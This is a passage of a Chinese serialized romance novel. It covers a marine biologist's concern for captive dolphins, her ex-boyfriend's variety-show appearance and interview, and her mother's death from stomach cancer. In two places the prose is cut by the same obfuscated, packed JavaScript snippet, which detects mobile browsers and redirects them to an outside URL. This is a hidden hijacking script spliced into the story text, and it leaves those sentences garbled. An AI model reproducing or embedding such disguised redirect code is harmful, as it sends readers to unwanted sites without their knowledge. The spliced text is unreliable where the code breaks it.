乔之的脚还无法行动,因此没有去学校,一周两节的《海洋动物行为生态学》也转为了线上。 下午上完课,乔之收到了海洋馆小徐发来的微信。 【Xu:乔老师,你最近方便来一趟馆里吗?奇奇的情况很不好。】 【Jo:怎么回事?】 【Xu:[文件]这是最近一周的监测数据,奇奇的活动能力和健康状况都明显恶化了。】 乔之点开小徐发来的文件,对比之前的数据,的确能发现很明显的恶化情况。 其实她在心里早有预料,奇奇属于多次辗转于野生和人工环境的特殊海豚,对环境的应激程度比一般海豚要更明显。 【Jo:其他海豚的情况怎么样?】 小徐许久没有回复,乔之正诧异,那边打来了一个电话。 小徐踌躇着开口:“乔老师,不瞒你说,馆里的海豚情况都不太好。前天的演出中,有两只完全不听从指示,表现非常暴躁,所以周末的演出全部暂停了。” 乔之听得眼皮一跳,这不是什么好的征兆。 “我这两天腿受伤了,行动不是很方便。如果可以的话,最近的数据都请同步给我,我们保持联络。我一能走动就过去。” “……这个我和馆里申请一下。” 乔之知道自己的要求有些勉强,毕竟海洋馆也有自己的团队,能让她每周去观察已经是非常待遇了。她只能道:“好。麻烦了。” 她想起养育池中恹恹的海豚,又问:“……馆里有考虑取消海豚表演吗?” 小徐一愣,支吾道:“最近暂停了,但是之后怎么样还不太清楚。” 国外反对动物演出的社会活动层出不穷,有不少海洋馆已经永久取消表演,并且尝试放流生物。国内很多地方的动物表演热度却是居高不下,但是即便是江临市海洋馆这样的科普秀,也依旧会给动物们造成精神压力。 乔之前段时间听说东州的一家大型海洋馆取消了海豚表演,所以才问了这么一句。不过小徐的回答在她的预料之中,毕竟海豚表演是海洋馆的重要卖点。 两人交流了一些信息后没多聊。乔之挂断电话后,看见温言正好发来了消息。 【温言:学妹,听说你的腿受伤了。严重吗?】 【Jo:谢谢学姐关心,没什么大事,在家休养一段时间就好。】 【温言:唉,本来说好不容易遇到你,可以多约出来玩,没想到又碰上这种事。】 【Jo:以后有机会再约!最近确实出不了门,课程都转线上了。】 【温言:上次我说的那个科普视频的事儿,你考虑的怎么样啦?你最近在家如果有空的话,再想想呗[可怜]】 这几天发生了太多事,乔之把这件事给忘了。当时她推脱不下,只好说自己会考虑考虑。不过温言看起来确实正在兴头上,甚至还想着如果乔之有兴趣,她可以帮忙运营账号。 乔之原本对自媒体没什么兴趣,但刚刚小徐的那通电话让她想到,或许可以先通过网络平台科普动物演出的危害性。也许效果甚微,但总比什么都不做好。 所以乔之回了一句:【我觉得可以试试。】 40.第四十章 温言许是没想到她的态度会突然转变,高兴地打来电话念叨了一个钟头,一边连报好几项选题,一边还不忘叮嘱她好好养伤。 除了温言和学校工作对接以外,乔之在家休息的这么些天里几乎没什么别的社交活动。骤然增多的独处也切断了有关何舟泽的消息,他们没再见过面。 两周后的星期五傍晚,《旷野之声》在凤鸣岛录制的那期节目准时播出。 乔之本不打算看,但祝声第一时间就发了消息提醒她。她在心里说服自己,只是随便看一眼,免得被人发现她刻意的避嫌。 更何况祝声还发了一条消息,让她很难不在意。 【海洋界不知名人士:何舟泽是不是给你发了月亮?】 最后她还是打开了视频软件。 《旷野之声》一期节目分为了上下集,上集的主要内容是野外寻找灵感,下集则是正式舞台。这周放出的是第二期上集,正是他们在凤鸣岛录制的内容。 节目伊始,几位嘉宾在海滩边露营夜聊。为了活跃气氛,节目组设计了几个小游戏,嘉宾之一张芙年纪比在场的其他歌手都大,并不擅长玩游戏,因此早早就淘汰出局。 那天晚上将近满月,月光如水,照亮了大片沙滩,细沙莹莹。 张芙笑说:“年纪大了不适合玩游戏,还是看风景适合我。今天晚上的月亮好漂亮。” 说着便拿出手机拍起照片。 何舟泽似乎运气不好,第二把也输掉了游戏下场。他贴心地拉了两把椅子,道:“我也来陪张老师看月亮。” 他陪张芙聊了一会儿天,也跟着拍了张月亮的照片,低头在手机上捣鼓了半刻。 这时大家都结束了,沈星驰凑过来看何舟泽拍的月亮,赞叹道:“阿泽哥拍的月亮真好看。” 正巧下一个游戏就是默契考验,具体玩法是在不告知通关条件的情况下让不在场的好友给出预期回复。 有人听到沈星驰的话,顺势提议将第一关的获胜条件设置为让对方发一张月亮的照片。 还没往下看,乔之就猜到了走向。那天晚上,她和何舟泽互赠了一轮圆月。她以为那是他们俩独享的月亮,却忘记了月亮从来不专属于某一个人。 果不其然,他是第一个完成的人——只用了不到三十秒。 节目嘉宾之一张芙笑着打趣:“小何给谁发了月亮呀?这么快就赢了。” “当然是最有默契的人。”何舟泽笑吟吟地回应。 在场的人忍不住八卦,他收起手机,三言两语就绕开了话题。不过那晚何舟泽的心情显然很好,他微挑的眉头里隐含着欣喜。 第二天一早,几位嘉宾各自出发在岛上寻找创作灵感。何舟泽选择独自探索,一路往人迹罕至的小岛深处钻,最后竟绕进了一个废弃村落。 目光所及皆是低矮破败的屋舍,脚底的石板路遍布青苔。灰绿色的周围色像是一层天然滤镜,村落在这片灰暗中沉沉入睡。 “这好像是一个废弃的村子。”他轻哼着歌,手持相机在原地转了一圈,向观众展示了四周的环境。 何舟泽像是忽然闯进秘境的外来者,带来不属于这个地方的生机。 他伸手切换了后置镜头,将相机凑近一块不远处的小黑板:“这边还有一个小卖部呢哈哈哈。” 镜头外隐隐传来他的笑声,他细细盘点着小黑板上罗列的商品:“食盐五毛、白糖五块,还有酱油、肥皂……” “麻雀虽小,五脏俱全。在一座与世隔绝的小岛上生活好像也挺不错的。” 观众跟着他的镜头走遍村落的角角落落。 恍惚间,乔之好像也回到了那一天清晨,她跟着何舟泽流连于民居之间。他的笑眼、他拉住她的手、他们摩擦的衣角,好像一切都近在眼前。 最后,镜头停在了一面灰色的水泥墙前,墙面上写了几个模糊的大字,附带一个下行箭头。 何舟泽停住了脚步,开始仔细辨别上面的字迹:“‘此处下挖有惊喜’?” 他素来有探究精神,当即从墙边找了块尖锐的石头,沿着箭头指示蹲下身。他一边挖,一边自言自语道:“会挖出什么惊喜呢……” 视频上方已经开始有高能预警提示,观众疯狂地发送弹幕。 【这哥是真不怕啊!荒岛能有什么惊喜,细思恐极。】 【不懂就问,这期是恐怖主题吗?】 【快住手啊啊啊啊啊】 石块像是触碰到了什么金属,发出“砰”一声脆响。何舟泽很快就挖出了一个密封的铁盒。 他打开盒子,生锈的零部件发出吱嘎吱嘎的声响。 盒子里堆着大大小小的纸条,泛黄的程度不一,颜色深深浅浅。而盖子里侧写了几个字:“秘密交换处”。 “交换的意思是说我写下一个秘密,就能看别人的吗?”他自言自语道,随即像是发现了什么似的惊喜道,“啊,这里还备了纸笔,不知道是哪位贴心的前辈留下的。” 他取出那只黑色圆珠笔,用力甩了甩才画出墨迹。他将镜头转向了另一处,观众只能听到笔摩擦纸面发出的“沙沙”声。 何舟泽写好起身,切回前置镜头,而后露出狡黠的笑:“好啦。我也写下了一个小秘密,期待有缘人来发现。” 说完后他又伸手抽出几张纸条,有些显然被反复打开查看过。 何舟泽选了几张念出来:“‘希望明年能顺利毕业’‘希望新学期均绩4.8’‘早日发大财’……哦,这里还有表白的,‘jkh我喜欢你’‘杜丞你什么时候能看到我的心’。” 读到这儿,他顿了顿,又带歉意地说:“对不起这位匿名朋友,我不小心念出来了。但希望这个杜同学现在已经看到你的心。” 在铁盒里投入小纸条的大多是来岛上参加科研训练的江大学生,他们留下的文字千奇百怪,什么类型的都有。 这方不大的盒子里暗藏了无数说不出口的秘密与心愿。 乔之不知道这个铁盒的存在,那天何舟泽并没有带她去那儿。 弹幕里闪动着“可恶好想知道他写了什么”“这个地方在哪我要去一探究竟”“啊啊啊啊好奇得心痒痒”之类的评论。 可惜节目组的隐私信息处理得很好,整期节目都没有透露出任何关于凤鸣岛的信息。 听说祝声替学院审核这期节目时,将所有可能泄露的细节都处理得干干净净。她忙了两天,累得够呛。 不过乔之也忍不住好奇何舟泽究竟写下了什么。 最后记录停在了那场不期而至的大雨。 “啊,下雨了。”他伸手接住了几滴雨,然后画面戛然而止。 几分钟之后,乔之会和他在那个破旧的屋檐下遇见,他们一起避雨,再一起度过了那个晦暗不明的夜晚。 所有的故事尽数藏在了凤鸣岛的大雾里,只有他们知晓。 整期节目以最后一晚的演出作结,何舟泽的那首歌再次让弹幕爆炸式增长。 【活久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573674|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,居然听到hzz唱情歌】 【不确定,我再听听】 【woc】 【???这不是情歌吧】 【哥你别再搞诈骗了我哭死】 歌词全文没有一个“爱”字,即便写得暧昧,但怎样解读都不算错。 乔之默默关掉了视频。 几乎是同一时间,姚朔往群里转了个采访视频。 他常常往乐队小群里丢何舟泽的最新动态,活像个粉丝头子。因此乔之可以从频繁的对话里时不时得知何舟泽的近况,比如今天在京市参加晚会,明天又在某个景区录节目。 【姚朔S:[链接:禁欲男神出道多年首谈理想型……]这个采访标题笑死我了,老何这个人设真是深入人心,过于羞耻了。】 乔之点开来看,这是一个五分钟的简短采访,但已经被顶上热搜文娱榜的前列,与最新一期《旷野之声》的词条并列。 视频里的何舟泽笑容温和,熟稔地和观众打招呼。几个小问题铺垫后,主持人将话题引向了感情生活。 “你出道距今已经七年,除了早期有几首情歌外,之后都没有再出过类似的作品。这是出于什么原因呢?” 何舟泽轻松地揭过:“只是暂时没有好的想法。” 乔之回想起大学时他给她写过的那些歌,光是成品就有许多首。何舟泽是一个不吝啬爱的人,更没有创作瓶颈。 在小剧场三楼尽头的那间活动室里,他曾为她写下许多情歌。 “那你对于被大家称之为‘禁欲男神’‘高岭之花’有什么看法?” 何舟泽看起来像是被这个称号逗笑了,轻咳一声:“不敢当。” 记者趁胜追击地问:“哦?这么说是有什么故事想要分享吗?” 何舟泽正视着镜头,竟然点了点头道:“爱情是很美好的东西。我是个普通人,虽然这么多年都是单身——但是也会渴望感情。” “那来说说你的理想型吧!” 何舟泽偏了偏头,假意在思考,说出的话却很明确:“聪明、勇敢、坚定,有自己的追求。” 乔之的心微微一动,她抬眼看向屏幕,却仿佛恰好与他对视。 视频中的何舟泽正扬起嘴角道:“我大概会喜欢这样的女生。” 他们俩在一起的时候,乔之未曾问过何舟泽为什么会喜欢她。那时他的爱总是明目张胆,浓烈得不疑有假,所以乔之便忘了追根溯源。 没有由来的爱缺少被肯定的凭据。也因此,最后她毫不迟疑地认为,他们终将要为了各自的前程放弃彼此。 乔之不相信爱,也不愿为此让出什么,所以她先选择了放弃。 这个视频下方的评论区已经乱成一锅粥。 【?我哥是有喜欢的人了吗?还是已经谈恋爱了??工作室不是说还单身吗?】 【只是因为上周被骂立禁欲人设,所以出来辟谣啦~】 【我不管谈没谈,既然这么说了,那是不是有机会能听到原创情歌了?】 【附议。粉上何舟泽就跟入了尼姑庵一样55,真心诚意跪求情歌!】 【所以说最新一期写的真是情歌吧?】 乔之退出页面,回到微信群。当事人并没有出声,看起来还在忙。 这段时间何舟泽一直在全国各地飞,工作忙得双脚不沾地。乔之却是因脚伤享了清福,大部分的工作都转为了远程。 意外交错的两条直线又各自奔向了不同的方向。 41.第四十一章 小徐几天前帮忙申请的海豚数据终于有了眉目,乔之陆续收到他发来的数据表。 仔细一看,她被这些记录惊了一惊。 馆中大多数海豚的情况比她想象中更差,但海豚表演仍在陆续开展着。乔之深知自己贸然提出取消演出的建议只会遭到拒绝,因此只委婉地通过小徐表达了自己的想法。 江临市海洋馆尚属国内条件一流的单位,而且配备专门的野生动物保育中心和研究人员,与不少科研单位都有密切合作,江临大学海洋学院就是其中之一。 然而这样的场馆都无法避免海豚的心理问题,只能说人工圈养本身就存在很大的问题。乔之不敢想其他小型海洋馆的动物生存情况。 或许从江临市海洋馆这样的领头单位带头做起,国内动物表演的情况才会有所改善。 乔之不是一个社会活动家,也不擅长做沟通谈判的工作。在国外读博期间,她的室友Kylie经常参加社会性的环保活动,三百六十五天天天都精力充沛,冲锋陷阵毫不退缩,而她连走上街头都要做足心理准备。 不过即便如此,这一次她还是打算做一些什么。 乔之查阅了很多资料,收集了国内外有关动物表演的伦理研究和新闻报道。等腿脚好一些,她准备亲自去和海洋馆的负责人沟通一番。 而科普方面,她一和温言提起这件事,对方当即就站在了她这一边,行动力十足地策划了一个科普动物表演危害的视频。 她们花了两天的时间完成了录制,视频发布的那天乔之的脚勉强能下地走路。 乔之的继父姜永望罕见地打来电话,他告诉她,乔希的病情恶化了,每天清醒的时间已经越来越少。 尽管话里头没明说,但乔之听出了他的言下之意——希望她能来医院看看乔希。 乔之自从脚受伤后只打过几次电话,确实已经很久没有去看望母亲。 她们之间的感情虽然并不深厚,但乔希已经是她真正意义上最后一个在世的亲人。即便心中有许多隔阂,她还是没有推辞。而且她心里隐隐有预感,或许这是最后几次见面。 乔希上周就转入了单人病房重点看护,似乎所有的一切在预示着病情的不好走向。 继父在电话里和乔之说过新病房的位置,在住院部的十五楼。 这一层比之前的楼层要更加安静,连呼吸声都变得万分慎重。 乔之穿过长长的走廊,路过一间又一间写满苍白的病房,伴着医疗机械的“滴滴”声走到最后,她的脚步不由得放轻许多。 这时乔希正好醒着。 乔之走进病房时,看见她正扯着姜永望的袖子说着什么。男人俯身凑近她,侧着耳朵想要听清。 画面亲昵感人,像极了真正的家人。 每当这种时候,乔之都会有强烈的局外人之感——她们俩都不曾真正在彼此的生活中。“母亲”对她来说大多时候只是字典中收录的一个常用词汇。 她站在房门口没出声打扰。 过了一会儿,姜永望从床头柜里翻出一瓶可乐,打开倒了一点勺子中。乔之不敢相信自己的眼睛,还没来得及阻止,就看见他将勺子递入了乔希口中。 给一个胃癌晚期患者喂高甜度碳酸饮料,这无异于谋杀。 乔之厉声道:“你在干什么?” 不远处的两人都吓了一跳。 乔之快步上前,指着可乐瓶质问:“你怎么能给她喝这种东西呢?” 乔之和姜永望其实不太熟,毕竟她连亲生母亲都很少往来,更别提继父。之前偶尔几次接触,她都尽可能保持了对长辈的客气礼貌,但这会儿她的语气里已经全无体面。 姜永望支吾着不知作何解释,躺在病床上的乔希先开口了。 她揪了揪乔之的衣角,气若游丝,却还在为男人开脱:“别怪你姜叔。” 乔之感到一口气堵在胸口,压得她说不出话。母亲似乎总是这样,永远和别人站在一起,她永远属于另一个人、另一个家庭。 乔之深感嘲讽,忍不住冷笑了一声。 乔希像是个做错事的小孩,小心翼翼道:“是我忍不住想尝尝味道,只舔了一口。” “你能不能不要总是这么任性?”乔之明知自己不该在这种情况下还和她怄气,但说出口的话却还是控制不住地带刺,“你以为这是在宠你吗?” “我……”乔希噎住说不出话。 一边的姜永望开始道歉:“对不起,是我没照顾好你妈妈。” 乔希见乔之的脸色不好,拍拍姜永望的手臂,让他出门回避。 等人走远了,她还抓着乔之的衣角不放,劝道:“乔乔,你不该这么对你姜叔说话的。他这段时间在医院为我前前后后奔波,已经很辛苦了……” 话里话外,让乔之听着,仿佛做错的人是她。 她被无尽的失望和委屈吞没,情绪却逐渐冷静下来,换上了生疏的称谓:“您知道我为什么不愿意和你们亲近吗?” 她没再看乔希。她转过头,看见床头柜上摆着刚刚开封的可乐瓶。 银色拉环附近残留着一点棕色的液体,气泡在一个个湮灭。空气似乎也染上了一丝汽水的甜味,和消毒水的味道混作一团,像是一片死寂中挣脱而出的一小瓣鲜花,但摇摇欲坠。 乔之的脑海中闪回无数片段,想起了那些她曾有所期待和渴望的时光。 “因为我害怕,害怕耳濡目染之下,我也会变得和您一样。”她的语气已经变得平静,“您可以为了一个男人,丢掉自己的喜好、事业和自由的人生,甘愿沉沦在他给你的看似甜蜜的陷阱里。” “我不想成为第二个你。” 这句话,乔之早就想告诉母亲,或者说她早已确信了她们母女形同陌路的理由。 乔之很小的时候听说过母亲的事迹,传闻中乔希是他们那一片最受欢迎的女生。 明明都是外婆一手带大的,但和自小沉静内敛的乔之不同,年轻时的乔希漂亮开朗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575697|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇有主见,有时的胆大妄为让她比一般人要更可爱生动。高中毕业后她就跟着几个朋友四处闯荡,走过天南海北许多地方。 乔之在外婆家的旧相册翻到过母亲年轻时四海游历的照片,那时她总是穿着最时髦的衣服,神采奕奕,仿佛全天下的光辉都聚拢在她一人身上——乔之从未看见过她这般明媚肆意的模样,因为少女乔希的光彩终结在一个生命的意外到来。 那个年代的未婚先孕必定会引来流言蜚语。乔之深知自己并不是诞生在期待之中,而是一个爱情骗局的遗留,所以乔希后来嫁给姜永望时没有带走她。 她从记事起,就觉得母亲的形象和不多往来的远房亲戚几乎没什么差别。乔之上中学后,才知道自己的母亲原来就住在离外婆家不远的另一个小区。 她们偶尔见面,乔希依旧和年轻时一样爱笑,但她已经不再是太阳,而是借光的月亮。 乔之将乔希的手掰开,放回病床。 “您已经彻底属于另一个人了,可我不想成为菟丝花。” 乔希怔住了。她的眼睛已经有些浑浊,所以乔之读不懂她的神色。 “乔乔……”乔希似乎有千言万语,但最后只努力挤出一个微笑,似乎并不怪女儿的冷淡绝情。她轻声道,“我只是害怕马上就要忘记可乐的味道了……” 乔之垂眸,酸涩的感觉直冲入心脏处,随后便灌满了全身上下每处血液。 她以为她说出来后,就能极力说服自己不是多么渴望亲缘的人,却没想到只听乔希的一句话,她就难过得要哭出来。 或许对乔希来说,实现这样一个小小的心愿要比在病床上多留几时几分要更幸福。 “对不起。”乔之的声音有些颤抖。 她将上次答应乔希要带来的粉色毛线帽放在床头,想要逃离这个写明悲剧结尾的地方。 乔希没有强留,许是她说了太多话,已经没有力气。 她合上眼,只提了个小小的请求:“走之前帮我开一下听书软件吧,希望我还能听完这本书……” 乔之依言打开手机,点开那本已经播放过半的书,朗读音不紧不慢地响起:“我们离开人世时,爱是唯一能带走的东西,它使生命的结束变得轻松。” ——是《小妇人》。 小说里,Jo最喜欢的妹妹Beth将要死去;而小说外,乔之唯一的亲人也在走向生命终点。 乔之咬了咬唇,又拿起了那顶毛线帽。 乔希一定要她买粉红色,大概是因为淡粉色生气勃勃,某种程度上能衬得人更健康红润。弥留之际,好像谁都对这样的假象坚信不疑。 乔之放轻了声音,开口道:“天气转凉了,我给你戴个帽子吧。是你一直想要的粉红色。” 乔希没再睁眼,只轻轻点了点头。 乔之为她戴上帽子,她自欺欺人地想,粉色果真能让人看起来脸色红润。 她睁圆了眼睛,忍住眼泪道:“你好好休息,我下次再来看你。” 42.第四十二章 乔之走出住院部的大楼,台阶处的一小片光亮骤然灰暗。她抬头,看见一片乌云正徐徐地遮蔽住太阳。 她和乔希没太多可回忆的母女情,但不知怎么,她想起高三时发生的一件事。 那天傍晚她正站在窗台边背书,背到大段的英文环境描写时,她抬头看见的也是这样的云层叠住了太阳。班主任忽然来叫她,说“你妈妈在楼下等你”。 下午放学到晚自习之间的一个多小时里,家长可以在申请通过后进入校园看望孩子。 高三学习压力大,不少家长都会趁这个时间来送营养餐。乔之从没想过有一天她也能吃到这么一顿加餐。 高三教学楼下有一棵大榕树,乔之一迈出楼梯间,就看见一个穿藕粉色连衣裙的女人正对她招手。她的头发精心地绾起,脸上画了淡妆,显然是特意为之。 路过的同班同学见状,爽朗地笑道:“乔之,那是你妈妈吗?阿姨好漂亮!” 乔之只是点点头,轻声替乔希道了个谢。后者显然也听见了,脸上扬起了更灿烂的笑容。 “你是乔乔的同学吗?”乔希提着东西走近了些。 刚刚说话的男生大方地打了个招呼:“阿姨好,我是乔之的后桌。” 乔之和他不算很熟,只是偶尔会交流几句数学压轴题的解题思路。男生倒是很会看眼色,没有久留,寒暄几句就跑回了教室,留下母女二人在原地站着。 “你怎么来了?”乔之半天才开口问道。 她心里的情绪十分复杂,既有难抑的惊喜,也有一些生硬的难为情。 乔希笑嘻嘻地拉她在花坛边坐下:“听说你下周就要高考了,我来送温暖呀!” 动作自然得仿佛她们和其他母女没有什么不同。 乔之高中的时候已经是新高考模式,除了六月份的常规高考外,还有两次专门为选科设置的选考。 她马上要参加三门选考和英语第一次高考,但不是下周,是两周后。 乔希偶尔会想起自己是一个母亲,间歇性地来履行母亲的职责。然而她来给她开家长会却不记得她是几班,来接她放学却不知道具体时间。 乔之觉得自己更像是角色扮演游戏里的NPC,等待玩家心血来潮的上线,完成交接任务的使命。 所以这一次,她也没有太多失望,只是刚刚那点惊喜已经全数褪尽。 她出声纠正:“是下下周。” 乔希微愣了一下,但没太多尴尬,只是笑了笑:“啊不小心记错时间了。不过这样就多了一周的复习时间,更好了呢!” 乔之不再说话。只见乔希打开她带来的保温袋,从中取出几个餐盒。将餐食一一摆好后,她又像是想起了什么,从手包里拿出了另一个东西。 那是一本精装的英文原版书。乔之看见封面上用花体字写着“Little Women”——《小妇人》,中小学生必读经典之一。 乔希将书塞到她的手中,道:“你这次不是还要考英语吗?我在网上看了专家预测,这次大作文大概率还是考读后续写,看一看原版书会有帮助!” 乔之有时候觉得自己的妈妈实在让人捉摸不定——她不记得高考的时间,却又会专门去了解英语作文的题型。就像她给她的关心突如其来,有时也莫名其妙。 大概是因为她只是她生活中极小的一部分,所以她只能收获她随机分配的关注值。 《小妇人》这本书对乔之来说并不陌生,外婆家的书架上有一本九十年代的中译本。那本书显然已经被翻阅过很多次,薄脆的书页泛黄,每一张都带着褶皱。书里的遣词造句是那个年代独有的翻译腔。 听说那是母亲年轻时的读物。 乔之读过一遍中文版,书中大多数桥段都记得清楚。她回想乔希的人生,完全与书中最精彩的一笔背道而驰。但没想到她送她的第一本书,竟然是《小妇人》的原版。 极具现实意义上的荒谬与讽刺感。 乔之默默收下,然后默默地开始吃饭。 乔希带来的营养餐是土鸡汤,切碎的鸡块在金黄色的汤汁里若隐若现,翠绿的葱花和鲜红的枸杞漂浮在水面上,恰如其分地增添了色彩。 不得不说,乔希的厨艺比乔之想象中要好。 外婆说过乔希生平最讨厌进厨房,别家女孩学做家务时她还在外头四处嬉闹。 然而时年流转,昔日的叛逆少女终成洗衣做羹妇。 乔之前不久在课本上读到《我与地坛》里的一个句子:“我竟有些担心,担心她会落入厨房。” 在这个时刻,她忽然更深刻地理解了这句话中隐含的惋惜。 一顿饭吃得安静。两人平时见面本就不多,实在找不出太多话题,左不过就是些“学习累不累”“和同学相处如何”之类的不咸不淡的问题。 乔之莫名有些烦躁,可她明明是一个情绪很稳定的人。看着乔希继续笨拙地扮演着母亲角色,她的心里升起一股说不出的委屈和火气。 乔希想起刚刚路过的男生,说话时总悄悄地打量身旁的女生,眉眼间闪烁着一丝紧张。 她揶揄道:“刚刚那个小男生好像喜欢你哦,有没有考虑偷偷来一段校园恋爱?” 乔之盖上饭盒,用力按上扣子,扣子发出“砰”一声脆响。若隐若现的小火苗终于还是被点着了。 “你是不是忘记我现在已经高三了。” 乔希却还没意识到乔之的情绪转变,依旧是笑嘻嘻的模样:“那又怎样?我女儿这么聪明,去哪个大学都轻轻松松。” 她好像永远都是这幅模样,做了母亲也还像是个没长大的孩子。 乔之沉沉地呼了口气,心知和乔希不必浪费太多情绪,反正她很快又会消失在她的生活里。 她努力让自己的声音听上去平静:“我不喜欢男生。” 他们班的男生大多幼稚,不值一提的小成绩就能沾沾自喜很久,每一个都没由来的莫名自信。 乔希显然是误会了:“哦?那女孩子就更好了!女孩子香香甜甜的……” 乔之终于忍无可忍道:“够了。” 她想起一则关于母亲的传言。听说她当初为了追随自己喜欢的男生,甚至没 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乔希住在顶楼,那一层只有他们一户人家,另半边是个不大的天台,种满了蔬果和花草。 门没关紧。 乔之正准备敲门示意,却听见里面传来了争吵声。 “都说了你别管我!”说话的是她的继父。 乔之见过姜永望几次,印象中他性格温吞,总是轻声细语,从未像现在这样拉高声调。 紧随其后是乔希的声音,也一改往日乐天开怀的模样:“不行!你必须……” 女人话音未落便被打断了:“这个家里的钱都是我挣的,我说怎么花就怎么花!” 乔之登时感觉自己的双脚发麻,想拉开房门,却最终还是转身下了楼。 说到底,她才是外人。 一口气跑到楼下,她才缓过神来,发现自己的双手一直在颤抖。 她明明记得乔希说过,她现在生活幸福,姜永望对她很好。 ——原来幸福生活是谎言,温和的继父和开朗的母亲也是假象,依附于另一个人的爱情从来都是骗局。 “喂,你的花要掉了。”有人提醒道。 乔之转过头去,看见一个少年正蹲在楼梯脚,他正指着她手中的雏菊,一脸可惜的样子。 乔之将花束塞入他的手中,道:“送给你了。” 然后头也不回地跑开了,想要将刚刚无意撞破的生活真相狠狠甩在后头。 时至今日,乔之依旧不明白乔希口中的“幸福”,但她再也没有机会亲口问一问她了。 周二凌晨,乔之被一个电话惊醒。看见来电的瞬间,就有巨大的恐慌从她的脚底爬上来。 接通后,姜永望强忍着哭腔告诉她,乔希不行了。 无边的黑暗笼住了她。 乔之跨越半个城市到医院,只赶上了最后一面。在寂静之地挣扎的那片花瓣,终于坠入沼泽。 乔希死了。 她失去了她在这个世界上的最后一个亲人。 43.第四十三章 乔希的病早已不是一天两天的事,她日渐消瘦的身躯也很难让人自欺欺人地期待她会痊愈,但是乔之没想到这一天会来得这么快,快得让她来不及反应。 姜永望操办好了后事。 乔之的外公早年蒙受社会浪潮的阴霾郁郁而终,许多亲戚从那时起便已不再来往,所以来参加葬礼的人并不多,大多是他们夫妻俩平日里交往的街坊邻居。 葬礼这天江临下了场大雨,阴云密布,空气里弥漫着沉重的湿气。 乔之坐在角落里,眼见着前来吊唁的宾客急匆匆地赶来,在檐下收起雨伞,又将伞丢入门口的塑料筐里,然后再将一串湿漉漉的脚印带进屋内——就仿佛设定好的程序,每一个人都是如此。 人群在低声交谈着,但是她听不清。 屋内开着几盏白晃晃的灯,灵堂里人来人往,但她看不清。 乔之抬头,视线穿过灰暗的模糊色,抵达灵堂正中间挂着的的黑白相片。照片里的乔希笑容洋溢,眉眼弯弯的样子是十足的灿烂。乔之眨了眨眼,恍惚间感觉乔希正对着她笑。 姜永望一个人忙前忙后,乔之只是呆坐着。 来吊唁的人有不少都是头一次见她,私下打听才知道乔希原来有个这么大的女儿。乔希生前的人缘好,因此不少素昧平生的人也主动来安慰乔之。 虽是好心,却是在不断重提母亲已死的事实。乔之如跌入大海,咸涩的水灌了她满怀,胀得她喘不过气来。 她蓦地起身,在众人惊异的目光中推门而出。 雨下得很大,她没有带伞。 豆大的雨滴砸在她的身上,砸出气球吹爆的声响,她感觉有什么东西也在自己的胸腔炸开了。 乔之漫无目的地走了许久,雨雾氤氲,她看不清去路。 两股热流混在冰冷的雨水里,顺着脸颊缓缓流下。 乔之回过神来,才意识到自己流泪了。 不是雨模糊了视野,是眼泪早就决堤。 她本以为自己根本就不在乎这淡薄的母女情,乔希从来就没期待过她、选择过她,她为什么要为她的离去难过? 可是想起她的数十年如一日的笑脸、她不合时宜的那些玩笑,还有她心血来潮的问候与关心,乔之终于忍不住放声大哭。 “……乔乔。” 头顶的雨忽然不见,只有脸颊的雨还在降落。乔之回头,看见何舟泽正为她撑起伞。 他身后的雨幕闪动着灰白色调,再一眼便看见他微蹙的眉头里写满了关切。 何舟泽见她浑身湿漉漉,晶莹的眼睛泛着红。他心疼地想拥她入怀,最终还是轻声道:“乔乔,先上车吧。小心感冒。” 乔之跟着上了车。 她不是一个轻易露出脆弱面的人,但这些日子里仅有的两次的落泪,竟然都是在这个地方。上次因为亲手推开了他,今天因为一段亲缘的湮灭。 何舟泽没追问她为何如此失神落魄,心中有所猜想,却不忍揭她伤疤。他为她擦去簌簌落下的眼泪,安静地为她打造一个可以尽情流泪的场所。 他恰到好处的关心,让她不至于太过狼狈。 乔之流尽了泪,但还是不住地抽噎:“她怎么能一次都不为我留下。” 她转头看向窗外,车玻璃上是一道又一道的雨痕。亲口说出这句话的时候,有什么东西彻底碎裂了。 三言两语,何舟泽便明白了一切。 乔之自小由外婆抚养长大,她与母亲并不住在一起,关系看起来并不亲密。但是何舟泽知道母亲在乔之心中的分量,远比她表现出来得要重要得多。 他见过乔希两次。 第一次是在大学。 那天他和乔之一起去公园里看樱花。樱花开得盛大,乔之站在纷飞的花瓣里浅笑,他正准备按下快门时,却见她的笑容在顷刻间便消失不见。她的视线停留在了不远处的另一个女人身上。 何舟泽还没来得及问,就见对方也看见了他们,径直走了过来。 “乔乔,好巧!”女人的嘴角含笑,说话的语气很亲昵。 何舟泽见她与乔之颇为相似的长相,当即便猜出了她的身份。他主动打了个招呼:“阿姨好,我是乔乔的男朋友何舟泽。” 乔希闻言惊喜地打量了他一会儿,笑言:“是小何呀!我听乔乔的外婆提起过你。” 他点头应好,余光却见乔之的神情比平日更加紧绷。 “你怎么在这?”声音也紧绷着。 乔之的性格虽然不热络,但待人一向温和礼貌,即便再不喜欢的人,也会维持着表面的平和。何舟泽第一次见到她这般浑身戒备的模样。 乔希指了指不远处站着的男人,道:“我和你姜叔叔一起来看樱花呀!” 说完又热情地提议:“要不要一起吃晚饭?我还是第一次见小何呢!” 